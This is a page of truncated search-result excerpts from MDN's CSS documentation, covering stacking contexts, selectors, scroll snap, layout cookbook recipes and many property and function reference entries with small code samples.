siblings, because they belong to different parents in the html elements' hierarchy. even so, stacking of div #4 with respect of div #2 can be controlled through z-index. it happens that, since div #1 and div #3 are not assigned any z-index value, they do not create a stacking context. this means that all their content, including div #2 and div #4, belongs to the same root stacking context. in terms of stacking contexts, div #1 and div #3 are simply assimilated into the root element, and the resulting hierarchy is the following: root stacking context div #2 (z-index 1) div #4 (z-index 2) note: div #1 and div #3 are not translucent. it is important to remember that assigning an opacity less than 1 to a positioned element implicitly creates a stacking context, just like addi...
Stacking context example 3 - CSS: Cascading Style Sheets
let's take as an example a three-level hierarchical menu made from several positioned divs. second-level and third-level divs appear when hovering or clicking on their parents. usually this kind of menu is script-generated either client-side or server-side, so style rules are assigned with a class selector instead of the id selector. if the three menu levels partially overlap, then managing stacking could become a problem. ...
CSS Properties Reference - CSS: Cascading Style Sheets
background-attachment backgroundattachment background-color backgroundcolor background-image backgroundimage background-position backgroundposition background-repeat backgroundrepeat border border border-bottom borderbottom border-bottom-color borderbottomcolor border-bottom-style borderbottomstyle border-bottom-width borderbottomwidth border-color bordercolor border-left borderleft border-left-color borderleftcolor border-left-style borderleftstyle border-left-width borderleftwidth border-right borderright border-right-color borderrightcolor border-right-style borderrightstyle ...
Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
certain point, no matter where the scroll is. the proximity keyword means that it may snap to the point, but does not have to. using mandatory gives a very consistent experience — you know that the browser will always snap to each defined point. this means you can be confident that something you expect to be at the top of the screen will be when scrolling finishes. however, it can cause problems if the content is larger than you expect — users may find themselves in the frustrating position of never being able to scroll and view a certain point in the content. therefore, use of mandatory should be carefully considered and only used in situations where you know how much content is on the screen at any one time. the proximity value will only snap to a position when it is close by, the e...
CSS selectors - CSS: Cascading Style Sheets
basic selectors universal selector selects all elements. optionally, it may be restricted to a specific namespace or to all namespaces. syntax: * ns|* *|* example: * will match all the elements of the document. type selector selects all elements that have the given node name. syntax: elementname example: input will match any <input> element. class selector selects all elements that have the given class attribute. ...
Overview of CSS Shapes - CSS: Cascading Style Sheets
this article provides an overview of what you can do with shapes. you could for example float an item left, which would cause the text to wrap round the right and bottom of the item in a rectangular fashion. if you then apply a circle shape, the text would then wrap round the line of the circle. there are a number of ways to create these shapes and in these guides we will find out how css shapes work, and consider some ways you might like to use them. ...
Shapes From Images - CSS: Cascading Style Sheets
erent domain such as on a cdn you should ensure that they are sending the correct headers to enable them to be used for shapes. due to this requirement for cors compatible images, if you are previewing your file locally without using a local web server, your shape will not work. is it a cors issue? devtools can help you to identify cors errors. in chrome the console will alert you to cors problems. in firefox if you inspect the property you will be alerted to the fact that the image could not be loaded. this should alert you to the fact that your image cannot be used as the source of a shape due to cors. setting a threshold the shape-image-threshold property enables the creation of shapes from areas which are not fully transparent. if the value of shape-image-threshold is 0.0 (which is t...
Introducing the CSS Cascade - CSS: Cascading Style Sheets
Web › CSS › Cascade
ned, only the most appropriate @font-face, as a whole, is considered. while the declarations contained in most at-rules — such as those in @media, @document, or @supports — participate in the cascade, declarations contained in @keyframes don't. as with @font-face, only the at-rule as a whole is selected via the cascade algorithm. finally, note that @import and @charset obey specific algorithms and aren't affected by the cascade algorithm. origin of css declarations the css cascade algorithm's job is to select css declarations in order to determine the correct values for css properties. css declarations originate from different origins: the user-agent stylesheets, the author stylesheets, and the user stylesheets. though style sheets come from these different origins, they overlap in ...
Child combinator - CSS: Cascading Style Sheets
the child combinator (>) is placed between two css selectors. it matches only those elements matched by the second selector that are the direct children of elements matched by the first. /* list items that are children of the "my-things" list */ ul.my-things > li { margin: 2em; } elements matched by the second selector must be the immediate children of the elements matched by the first selector. this is stricter than the descendant combinator, which matches all elements matched by the second selector for which there exists an ancestor element matched by the first selector, regardless of the number of "hops" up the dom. syntax selector1 > selector2 { style properties } examples css span { background-color: white; } div > span { background-color: dodgerblue; } html <div> <...
Descendant combinator - CSS: Cascading Style Sheets
the descendant combinator — typically represented by a single space ( ) character — combines two selectors such that elements matched by the second selector are selected if they have an ancestor (parent, parent's parent, parent's parent's parent, etc) element matching the first selector. selectors that utilize a descendant combinator are called descendant selectors. /* list items that are descendants of the "my-things" list */ ul.my-things li { margin: 2em; } the descendant combinator is technically one or more css white space characters — the space character and/or one of four control characters: carriage return, form feed, new line, and tab characters — between two selectors in the absence of another combinator. additionally, the white space characters of which the combinator ...
Breadcrumb Navigation - CSS: Cascading Style Sheets
recipe download this example note: the example above uses two selectors to insert content before every li except the first one. this could also be achieved using one selector only: .breadcrumb li:not(:first-child)::before { content: "→"; } this solution uses a more complex selector, but requires less rules. feel free to choose the solution that you prefer. ...
Card - CSS: Cascading Style Sheets
t. therefore this will fit the content added to it. note: the various elements in separate cards do not align with each other, as each card is an independent grid. the proposed subgrid feature of grid level 2 would give a solution to this issue. useful fallbacks or alternative methods flexbox could be used to lay out the card, in which case you should make the content area grow, and other items not grow. this would be a reasonable way to lay out the card, although i have a slight preference for being able to control the tracks from the container rather than needing to add rules to the items. for the overall layout you could use flexbox, however this will result in cards stretching over the final flex row where there are fewer than can fit in the rows above. alternatively you could use ...
Center an element - CSS: Cascading Style Sheets
r one box inside another. centering both horizontally and vertically was difficult before flexbox, with the box alignment properties it is now straightforward. requirements to place an item into the center of another box horizontally and vertically. recipe download this example choices made to center one box inside another we make the containing box a flex container. then set align-items to center to perform centering on the block axis, and justify-content to center to perform centering on the inline axis. in the future we may be able to center elements without needing to turn the parent into a flex container, as the box alignment properties used here are specified to apply to block layout too. however, support is currently limited for box alignment properties on block layout, s...
Cookbook template - CSS: Cascading Style Sheets
note: this is a template page for a css cookbook page. please use this as a raw template when you create a new cookbook page. comment in italics are information about how to use part of the template. description of the problem this recipe solves or the pattern you are demonstrating. requirements what does this pattern need to include, or what problems does it need to solve? list that here. recipe change the path to the example below to point to your merged example. the last parameter is the live example height, which you can change as needed. change the link to point to your merged download version. download the example choices made explain your decisions when creating the pattern. why did you choose a certain method? if you want to add an additional example here — for example ...
Recipe: Media objects - CSS: Cascading Style Sheets
d to place it into the second track in the regular layout, and the first track when flipped. fallbacks there are a number of possible fallbacks for this pattern, depending on the browsers you wish to support. a good catch-all would be to float the image left, and to add a clearfix to the box to ensure that it contained the floats. download this example once floated elements become grid items the float no longer applies so you don’t need to do anything special to clear the float. what you will need to do is remove any margins applied to the item, and any widths which we don’t need in a grid context (we have the gap property to control it in grids, and the track takes control of the sizing). relevant resources on mdn css grid layout progressive enhancement and grid layout us...
Sticky footers - CSS: Cascading Style Sheets
g a min-height of 100vh on the <body> and then using it as your grid container. choices made in the above example we achieve the sticky footer using css grid layout. the .wrapper has a minimum height of 100% which means it is as tall as the container it is in. we then create a single column grid layout with three rows, one row for each part of our layout. grid auto-placement will place our items in source order and so the header goes into the first auto sized track, the main content into the 1fr track and the footer into the final auto sized track. the 1fr track will take up all available space and so grows to fill the gap. alternate method if you need compatibility with browsers that do not support grid layout you can also use flexbox to create a sticky footer. the flexbox example ...
Layout mode - CSS: Cascading Style Sheets
layout, is an algorithm that determines the position and size of boxes based on the way they interact with their sibling and ancestor boxes. there are several of them: normal flow — all elements are part of normal flow until you do something to take them out of it. normal flow includes block layout, designed for laying out boxes such as paragraphs and inline layout, which lays out inline items such as text. table layout, designed for laying out tables. float layout, designed to cause an item to position itself left or right with the rest of the content in normal flow wrapping around it. positioned layout, designed for positioning elements without much interaction with other elements. multi-column layout, designed for laying content out in columns as in a newspaper. flexible box la...
Privacy and the :visited selector - CSS: Cascading Style Sheets
, and made it possible not only to determine where the user had been on the web, but could also be used to guess a lot of information about the user's identity. to mitigate this problem, browsers have limited the amount of information that can be obtained from visited links. little white lies to preserve users' privacy, firefox and other browsers will lie to web applications under certain circumstances: the window.getcomputedstyle method, and similar functions such as element.queryselector, will always return values indicating that a user has never visited any of the links on a page. if you use a sibling selector such as :visited + span, the adjacent element (span in this example) will be styled as if the link were unvisited. in rare scenarios, if you're using nested link elements an...
Replaced elements - CSS: Cascading Style Sheets
the position of the replaced element can be affected using css, but not the contents of the replaced element itself. some replaced elements, such as <iframe> elements, may have stylesheets of their own, but they don't inherit the styles of the parent document. ...
Shorthand properties - CSS: Cascading Style Sheets
syntax, shorthand properties and replaced elements. ...
Actual value - CSS: Cascading Style Sheets
the actual value of a css property is the used value of that property after any necessary approximations have been applied. for example, a user agent that can only render borders with a whole-number pixel width may round the thickness of the border to the nearest integer. calculating a property's actual value the user agent performs four steps to calculate a property's actual (final) value: first, the specified value is determined based on the result of cascading, inheritance, or using the initial value. next, the computed value is calculated according to the specification (for example, a span with position: absolute will have its computed display changed to block). then, layout is calculated, resulting in the used value. finally, the used value is transformed according to the limit...
animation-duration - CSS: Cascading Style Sheets
ce for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. it is often convenient to use the shorthand property animation to set all animation properties at once. syntax /* single animation */ animation-duration: 6s; animation-duration: 120ms; /* multiple animations */ animation-duration: 1.64s, 15.22s; animation-duration: 10s, 35s, 230ms; values <time> the time that an animation takes to complete one cycle. this may be specified in either seconds (s) or milliseconds (ms). the value must be positive or zero and the unit is required. a value of 0s, which is the default value, indicates that no animation should occur. note: ne...
animation-timing-function - CSS: Cascading Style Sheets
transition, displaying each stop for equal lengths of time. for example, if n is 5, there are 5 steps. whether the animation holds temporarily at 0%, 20%, 40%, 60% and 80%, on the 20%, 40%, 60%, 80% and 100%, or makes 5 stops between the 0% and 100% along the animation, or makes 5 stops including the 0% and 100% marks (on the 0%, 25%, 50%, 75%, and 100%) depends on which of the following jump terms is used: jump-start denotes a left-continuous function, so that the first jump happens when the animation begins; jump-end denotes a right-continuous function, so that the last jump happens when the animation ends; jump-none there is no jump on either end. instead, holding at both the 0% mark and the 100% mark, each for 1/n of the duration. jump-both includes pauses at both the ...
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
ppearance: caret; } <div>lorem</div> firefox chrome safari edge checkbox-container div { color: black; -moz-appearance: checkbox-container; -webkit-appearance: checkbox-container; } <div>lorem</div> firefox the element is drawn like a container for a checkbox, which may include a prelighting background effect under certain platforms. normally it would contain a label and a checkbox. checkbox-label div { color: black; -moz-appearance: checkbox-label; -webkit-appearance: checkbox-label; } <div>lorem</div> firefox checkmenuitem div { color: black; height: 20px; -moz-appearance: checkmenuitem; -webkit-appearance: checkmenuitem; } <div>lorem</div> ...
backdrop-filter - CSS: Cascading Style Sheets
editor's draft initial defin...
background-image - CSS: Cascading Style Sheets
drawn beneath them. how the images are drawn relative to the box and its borders is defined by the background-clip and background-origin css properties. if a specified image cannot be drawn (for example, when the file denoted by the specified uri cannot be loaded), browsers handle it as they would a none value. note: even if the images are opaque and the color won't be displayed in normal circumstances, web developers should always specify a background-color. if the images cannot be loaded—for instance, when the network is down—the background color will be used as a fallback. syntax each background image is specified either as the keyword none or as an <image> value. to specify multiple background images, supply multiple values, separated by a comma: background-image: linear-gra...
<blend-mode> - CSS: Cascading Style Sheets
changes between blend modes are not interpolated. any change occurs immediately. examples blend mode comparison in the following example, we have a <div> with two background images set on it — a firefox logo on top of a linear gradient. below it we have a provided a <select> menu that allows you to change the background-blend-mode applie...
clamp() - CSS: Cascading Style Sheets
Web › CSS › clamp
with it. html <h1>simple responsive test</h1> <p> lorem ipsum dolor sit amet, consectetur adipiscing elit. in orci orci, eleifend id risus nec, mattis rutrum velit. suspendisse fringilla egestas erat eu convallis. phasellus eu velit ut magna dapibus elementum cursus at ligula. ut tempus varius nibh, nec auctor sapien iaculis sit amet. fusce iaculis, libero quis elementum viverra, nulla ante accumsan lectus, sit amet convallis lacus ipsum vel est. curabitur et urna non est consectetur pulvinar vel id risus. ut vestibulum, sem in semper aliquet, felis arcu euismod sapien, ac imperdiet massa nisl quis sem. vestibulum ac elementum felis, in tempor velit. pellentesque purus ex, mattis at ornare quis, porta condimentum mi. donec vestibulum ligula vel nulla blandit, quis euismod nulla vestibulum.
counters() - CSS: Cascading Style Sheets
Web › CSS › counters
it is generally used with pseudo-elements, but can be used, theoretically, anywhere a <string> value is supported. the generated text is the value of all counters with the given name, from outermost to innermost, separated by the specified string. the counters are rendered in the style indicated, defaulting to decimal if no style is specified. ...
cross-fade() - CSS: Cascading Style Sheets
ing an image with a solid color or highlighting a particular area of the page by combining an image with a radial gradient. syntax important: the specification and current implementations have different syntaxes. the specification syntax is explained first. specification syntax the cross-fade() function takes a list of images with a percentage defining how much of each image is retained in terms of opacity when it is blended with the other images. the percent value must be coded without quotes, must contain the “%” symbol, and its value must be between 0% and 100%. the function can be used in css anywhere an ordinary image reference can be used. cross-fade percentages think of the percentage as an opacity value for each image. this means a value of 0% means the image is fully tran...
<dimension> - CSS: Cascading Style Sheets
Web › CSS › dimension
r example 10px. css uses dimensions to specify distances (<length>), durations (<time>), frequencies (<frequency>), resolutions (<resolution>), and other quantities. syntax the syntax of <dimension> is a <number> immediately followed by a unit which is an identifier. unit identifiers are case insensitive. examples valid dimensions 12px 12 pixels 1rem 1 rem 1.2pt 1.2 points 2200ms 2200 milliseconds 5s 5 seconds 200hz 200 hertz 200hz 200 hertz (values are case insensitive) invalid dimensions 12 px the unit must come immediately after the number. 12"px" units are identifiers and therefore unquoted. 3sec the seconds unit is abbreviated "s" not "sec". specifications specification status comment css values an...
<display-box> - CSS: Cascading Style Sheets
they are replaced by their pseudo-box and their child boxes. please note that the css display level 3 spec defines how the contents value should affect "unusual elements" — elements that aren’t rendered purely by css box concepts such as replaced elements. see appendix b: effects of display: contents on unusual elements for more details. ...
<display-outside> - CSS: Cascading Style Sheets
e keyword, or as defined in the level 3 specification alongside a value from the <display-inside> keywords. syntax valid <display-outside> values: block the element generates a block element box, generating line breaks both before and after the element when in the normal flow. inline the element generates one or more inline element boxes that do not generate line breaks before or after themselves. in normal flow, the next element will be on the same line if there is space run-in the element generates a run-in box. if the adjacent sibling of the element defined as display: run-in box is a block box, the run-in box becomes the first inline box of the block box that follows it. run-in elements act like inlines or blocks, depending on the surrounding elements. that is: if the run...
<easing-function> - CSS: Cascading Style Sheets
eight: 100px; } div > div { position: absolute; width: 50px; height: 50px; background-color: blue; background-image: radial-gradient(circle at 10px 10px, rgba(25,255,255,0.8),rgba(25,255,255,0.4)); border-radius: 50%; top: 25px; animation: 1.5s infinite alternate; } @keyframes move-right { from { left: 10%; } to { left: 90%; } } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } javascript const selectelem = document.queryselector('select'); const startbtn = document.queryselector('button'); const divelem = document.queryselector('div > div'); startbtn.addeventlistener('click', () => { if(startbtn.textcontent === 'start animation') { divelem.style.animationname = 'move-right'; startbtn.textcontent ...
drop-shadow() - CSS: Cascading Style Sheets
s and send us a pull request. a drop shadow is effectively a blurred, offset version of the input image's alpha mask, drawn in a specific color and composited below the image. note: this function is somewhat similar to the box-shadow property. the box-shadow property creates a rectangular shadow behind an element's entire box, while the drop-shadow() filter function creates a shadow that conforms to the shape (alpha channel) of the image itself. syntax drop-shadow(offset-x offset-y blur-radius color) the drop-shadow() function accepts a parameter of type <shadow> (defined in the box-shadow property), with the exception that the inset keyword and spread parameters are not allowed. parameters offset-x offset-y (required) two <length> values that determine the shadow offset. offset-...
<filter-function> - CSS: Cascading Style Sheets
on> <option>sepia</option> </select> </li> <li> <input type="range"><output></output> </li> <li> <p>current value: <code></code></p> </li> </ul> css div { width: 300px; height: 300px; background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center; } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } input { width: 60% } output { width: 5%; text-align: center; } select { width: 40%; margin-left: 2px; } javascript const selectelem = document.queryselector('select'); const divelem = document.queryselector('div'); const slider = document.queryselector('input'); const output = document.queryselector('output'); const curva...
flex-basis - CSS: Cascading Style Sheets
ze" was introduced as the "look at my width or height property" keyword. it was implemented in bug 1032922. then, that change was reverted in bug 1093316, so auto once again means "look at my width or height property"; and a new content keyword is being introduced to trigger automatic sizing. (bug 1105111 covers adding that keyword). ...
flex-direction - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note that the values row and row-reverse are affected by the directionality of the flex container. ...
flex-flow - CSS: Cascading Style Sheets
Web › CSS › flex-flow
candidate recommendation initial definition ...
flex - CSS: Cascading Style Sheets
Web › CSS › flex
horizontal; overflow: hidden; display: flex; margin: 1em; } .item { margin: 1em; padding: 0.5em; width: 110px; min-width: 0; background-color: #1b5385; color: white; font-family: monospace; font-size: 13px; } .initial { flex: initial; } .auto { flex: auto; } .none { flex: none; } .four { flex: 4; } .two { flex: 2; } .one { flex: 1; } by default flex items don't shrink below their minimum content size. to change this, set the item's min-width or min-height. formal definition initial valueas each of the properties of the shorthand:flex-grow: 0flex-shrink: 1flex-basis: autoapplies toflex items, including in-flow pseudo-elementsinheritednocomputed valueas each of the properties of the shorthand:flex-grow: as specifiedflex-shrink: as specifiedflex-b...
font-optical-sizing - CSS: Cascading Style Sheets
nd ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | none examples disabling optical sizing <p class="optical-sizing">this paragraph is optically sized. this is the default across browsers.</p> <p class="no-optical-sizing">this paragraph is not optically sized. you should see a difference in supporting browsers.</p> @font-face { src: url('amstelvaralpha-vf.ttf'); font-family:'amstelvar'; font-style: normal; } p { font-size: 36px; font-family: amstelvar; } .no-optical-sizing { font-optical-sizing: none; } note: the font referenced above — which includes optical sizing and is freely-licensed — is good for testing. you can download it on github. specifications specification status comment ...
font-synthesis - CSS: Cascading Style Sheets
font-synthesis css property controls which missing typefaces, bold or italic, may be synthesized by the browser. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax this property can take any one of the following forms: the keyword value none. either of the keyword values weight and style. both the keyword values weight and style. values none indicates that neither bold nor italic typeface may be synthesized. weight indicates that a bold typeface may be synthesized if needed. style indicates that an italic typeface may be synthesized if needed. description most standard western fonts include i...
font-variant-east-asian - CSS: Cascading Style Sheets
-asian: ruby full-width jis83; /* global values */ font-variant-east-asian: inherit; font-variant-east-asian: initial; font-variant-east-asian: unset; syntax values normal this keyword leads to the deactivation of the use of such alternate glyphs. ruby this keyword forces the use of special glyphs for ruby characters. as these are usually smaller, font creators often designs specific forms, usually slightly bolder to improve the contrast. this keyword corresponds to the opentype values ruby. <east-asian-variant-values> these values specify a set of logographic glyph variants which should be used for display. possible values are: keyword standard defining the glyphs opentype equivalent jis78 jis x 0208:1978 jp78 jis83 jis x ...
font-variation-settings - CSS: Cascading Style Sheets
://github.com/mdn/interactive-examples and send us a pull request. syntax /* use the default settings */ font-variation-settings: normal; /* set values for variable font axis names */ font-variation-settings: "xhgt" 0.7; /* global values */ font-variation-settings: inherit; font-variation-settings: initial; font-variation-settings: unset; values this property's value can take one of two forms: normal text is laid out using default settings. <string> <number> when rendering text, the list of variable font axis names is passed to the text layout engine to enable or disable font features. each setting is always one or more pairs consisting of a <string> of 4 ascii characters followed by a <number> indicating the axis value to set. if the <string> has more or fewer characters or con...
font-weight - CSS: Cascading Style Sheets
"weight" name="weight" min="1" max="1000" /> <label for="weight">weight</label> </header> <div class="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* mutator sans is created by letterror (https://github.com/letterror/mutatorsans) and is used here under the terms of its license: https://github.com/letterror/mutatorsans/blob/master/license */ @font-face { src: url('https://mdn.mozillademos.org/files/16011/mutatorsans.ttf'); font-family:'mutatorsans'; font-style: normal; } label { font: 1rem monospace; white-space: nowrap; } .container { max-height: 150px; overflow-y: auto; } .sample { text-transform: uppercase; font: 1.5rem 'mutatorsa...
font - CSS: Cascading Style Sheets
Web › CSS › font
injectcss; getproperties = function () { shorttext = getcheckedvalue("font_style") + " " + getcheckedvalue("font_variant") + " " + getcheckedvalue("font_weight") + " " + getcheckedvalue("font_size") + getcheckedvalue("line_height") + " " + getcheckedvalue("font_family"); return shorttext; } getcheckedvalue = function(radio_name) { oradio = document.forms[0].elements[radio_name]; for (var i = 0; i < oradio.length; i++) { if(oradio[i].checked) { var propinput = "input_" + radio_name, curelemname = "input_" + radio_name, curelem = document.getelementbyid(curelemname); curelem.value = oradio[i].value; return oradio[i].value; } } } setcss = function () { getproperties(); injectcss(shorttext); } ...
grid-area - CSS: Cascading Style Sheets
Web › CSS › grid-area
he side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span. if the <integer> is omitted, it defaults to 1. negative integers or 0 are invalid. ...
grid-column-end - CSS: Cascading Style Sheets
. if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span. if the <integer> is omitted, it defaults to 1. negative integers or 0 are invalid. the <custom-ident> cannot take the span value. ...
grid-column-start - CSS: Cascading Style Sheets
if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span. if the <integer> is omitted, it defaults to 1. negative integers and 0 are invalid. the <custom-ident> cannot take the span value. ...
grid-row-end - CSS: Cascading Style Sheets
tom-ident>, only lines with that name are counted. if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span. if the <integer> is omitted, it defaults to 1. negative integers or 0 are invalid. ...
grid-row-start - CSS: Cascading Style Sheets
if not enough lines with that name exist, all implicit grid lines on the side of the explicit grid, corresponding to the search direction, are assumed to have that name for the purpose of counting this span. if the <integer> is omitted, it defaults to 1. negative integers or 0 are invalid. the <custom-ident> cannot take the span value. ...
ime-mode - CSS: Cascading Style Sheets
Web › CSS › ime-mode
ext fields. this property is obsolete. /* keyword values */ ime-mode: auto; ime-mode: normal; ime-mode: active; ime-mode: inactive; ime-mode: disabled; /* global values */ ime-mode: inherit; ime-mode: initial; ime-mode: unset; the ime-mode property is only partially and inconsistently implemented in browsers. it was introduced by microsoft with internet explorer 5 as a proprietary extension: -ms-ime-mode attribute | imemode property. note: in general, it's not appropriate for a public web site to change the ime mode. this property should only be used for private web applications or to undo the property if it was previously set by legacy code. syntax the ime-mode property is specified using one of the keyword values listed below. values auto no change is made to the current inpu...
initial-letter - CSS: Cascading Style Sheets
/* initial letter occupies 3 lines and sinks 2 lines */ /* global values */ initial-letter: inherit; initial-letter: initial; initial-letter: unset; syntax the keyword value normal, or a <number> optionally followed by an <integer>. values normal no special initial-letter effect. text behaves as normal. <number> defines the size of the initial letter, in terms of how many lines it occupies. negative values are not allowed. <integer> defines the number of lines the initial letter should sink when the size of it is given. values must be greater than zero. if omitted, it duplicates the size value, floored to the nearest positive whole number. formal definition initial valuenormalapplies to::first-letter pseudo-elements and inline-level first child of...
line-height - CSS: Cascading Style Sheets
horthand as shown above, but this requires the font-family property to be specified as well. prefer unitless numbers for line-height values this example shows why it is better to use <number> values instead of <length> values. we will use two <div> elements. the first, with the green border, uses a unitless line-height value. the second, with the red border, uses a line-height value defined in ems. html <div class="box green"> <h1>avoid unexpected results by using unitless line-height.</h1> length and percentage line-heights have poor inheritance behavior ... </div> <div class="box red"> <h1>avoid unexpected results by using unitless line-height.</h1> length and percentage line-heights have poor inheritance behavior ... </div> <!-- the first <h1> line-height is calculated from it...
margin-left - CSS: Cascading Style Sheets
{ margin-left: -5px; } specifications specification status comment css basic box modelthe definition of 'margin-left' in that specification. working draft no significant change from css 2.1. css flexible box layout modulethe definition of 'margin-left' in that specification. candidate recommendation defines the behavior of margin-left on flex items. css level 2 (revision 1)the definition of 'margin-left' in that specification. recommendation like in css1, but removes its effect on inline elements. css level 1the definition of 'margin-left' in that specification. recommendation initial definition. ...
margin-right - CSS: Cascading Style Sheets
.logo { margin-right: -5px; } specifications specification status comment css basic box modelthe definition of 'margin-right' in that specification. working draft no significant change css flexible box layout modulethe definition of 'margin-right' in that specification. candidate recommendation defines the behavior of margin-right on flex items. css level 2 (revision 1)the definition of 'margin-right' in that specification. recommendation removes its effect on inline elements. css level 1the definition of 'margin-right' in that specification. recommendation initial definition. ...
margin-trim - CSS: Cascading Style Sheets
the margin-trim property allows the container to trim the margins of its children where they adjoin the container’s edges. syntax none margins are not trimmed by the container. in-flow for in-flow boxes contained by this box, block-axis margins adjacent to the box's edges are truncated to zero. it also truncates any margins collapsed with such a margin. all trims the margins of in-flow boxes and floats whose margins coincide with the container's content edge. formal definition initial valuenoneapplies toblock containers and multi-column containers. it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax none | in-flow | all examples basic usage once support is implemented for this property, it will...
max() - CSS: Cascading Style Sheets
Web › CSS › max
| <dimension> | <percentage> | ( <calc-sum> ) examples setting a minimum size for a font another use case for css functions is allow a font size to grow while ensuring it is at least a mimum size, enabling responsive font sizes while ensuring legibility. let's look at some css: h1 { font-size: 2rem; } h1.responsive { font-size: max(4vw, 2em, 2rem); } the font-size will at minimum be 2rems, or twice the default size of font for the page. this ensure it is legible and ensures accessibility <h1>this text is always legible, but doesn't change size</h1> <h1 class="responsive">this text is always legible, and is responsive, to a point</h1> think of the max() function as finding the minimum value allowed for a property. accessibility concerns when max() is used for controlling tex...
minmax() - CSS: Cascading Style Sheets
Web › CSS › minmax
he size of the grid container and increase the final size of the track by the minimum amount that would result in honoring the percentage. <flex> a non-negative dimension with the unit fr specifying the track’s flex factor. each <flex>-sized track takes a share of the remaining space in proportion to its flex factor. max-content represents the largest max-content contribution of the grid items occupying the grid track. min-content represents the largest min-content contribution of the grid items occupying the grid track. auto as a maximum, identical to max-content. as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid items occupying the grid track. formal syntax minmax( [ <length> | <percentage> | min-content | max-content | auto...
offset-anchor - CSS: Cascading Style Sheets
>'s center point to move along the path. the other two cause the <div>'s top-right and bottom-left points to move along the path, respectively. ...
offset-distance - CSS: Cascading Style Sheets
on the motion aspect in css motion path typically comes from animating the offset-distance property. if you want to animate an element along its full path, you would define its offset-path and then set up an animation that takes the offset-distance from 0% to 100%. html <div id="motion-demo"></div> css #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-distance' in that specification. working draft initial definition ...
offset-position - CSS: Cascading Style Sheets
working draft initial definition ...
offset-rotate - CSS: Cascading Style Sheets
ed valueas specifiedanimation typeas <angle>, <basic-shape> or <path()> formal syntax [ auto | reverse ] | <angle> examples setting element orientation along its offset path html <div></div> <div></div> <div></div> css div { width: 40px; height: 40px; background: #2bc4a2; margin: 20px; clip-path: polygon(0% 0%, 70% 0%, 100% 50%, 70% 100%, 0% 100%, 30% 50%); animation: move 5000ms infinite alternate ease-in-out; offset-path: path('m20,20 c20,50 180,-10 180,20'); } div:nth-child(1) { offset-rotate: auto; } div:nth-child(2) { offset-rotate: auto 90deg; } div:nth-child(3) { offset-rotate: 30deg; } @keyframes move { 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1t...
overflow-anchor - CSS: Cascading Style Sheets
the overflow-anchor css property provides a way to opt out of the browser's scroll anchoring behavior, which adjusts scroll position to minimize content shifts. scroll anchoring behavior is enabled by default in any browser that supports it. therefore, changing the value of this property is typically only required if you are experiencing problems with scroll anchoring in a document or part of a document and need to turn the behavior off. syntax /* keyword values */ overflow-anchor: auto; overflow-anchor: none; /* global values */ overflow-anchor: inherit; overflow-anchor: initial; overflow-anchor: unset; values auto the element becomes a potential anchor when adjusting scroll position. none the element won't be selected as a potential anchor. formal definition initial valueau...
paint-order - CSS: Cascading Style Sheets
painted in the order they are specified in, followed by the unspecified one. note: in the case of this property, markers are only appropriate when drawing svg shapes involving the use of the marker-* properties (e.g. marker-start) and <marker> element. they do not apply to html text, so in that case, you can only determine the order of stroke and fill. values normal paint the different items in normal paint order. stroke, fill, markers specify some or all of these values in the order you want them to be painted in. formal definition initial valuenormalapplies totext elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | [ fill | stroke | markers ] examples reversing the paint order of stroke and fill svg <svg xmlns="http://www.w3.org/...
perspective-origin - CSS: Cascading Style Sheets
editor's draft initial definition. ...
perspective - CSS: Cascading Style Sheets
editor's draft initial definition ...
radial-gradient() - CSS: Cascading Style Sheets
side, except the ending shape is sized to meet the side of the box farthest from its center (or vertical and horizontal sides). farthest-corner the default value, the gradient's ending shape is sized so that it exactly meets the farthest corner of the box from its center. note: early implementations of this function included other keywords (cover and contain) as synonyms of the standard farthest-corner and closest-side, respectively. use the standard keywords only, as some implementations have already dropped those older variants. <linear-color-stop> a color-stop's <color> value, followed by an one or two optional stop positions (either a <percentage> or a <length> along the gradient's axis). a percentage of 0%, or a length of 0, represents the center of th...
repeating-radial-gradient() - CSS: Cascading Style Sheets
similar to closest-side, except the ending shape is sized to meet the side of the box farthest from its center (or vertical and horizontal sides). farthest-corner the gradient's ending shape is sized so that it exactly meets the farthest corner of the box from its center. note: early implementations of this function included other keywords (cover and contain) as synonyms of the standard farthest-corner and closest-side, respectively. use the standard keywords only, as some implementations have already dropped those older variants. <color-stop> a color-stop's <color> value, followed by an optional stop position (either a <percentage> or a <length> along the gradient's axis). a percentage of 0%, or a length of 0, represents the center of the gradient; the val...
scroll-behavior - CSS: Cascading Style Sheets
working draft initial specification ...
scroll-snap-stop - CSS: Cascading Style Sheets
nd must snap to the first of this elements' snap positions. formal definition initial valuenormalapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | always examples snapping in different axes this example is duplicated from scroll-snap-type with minor variances. ...
scroll-snap-type - CSS: Cascading Style Sheets
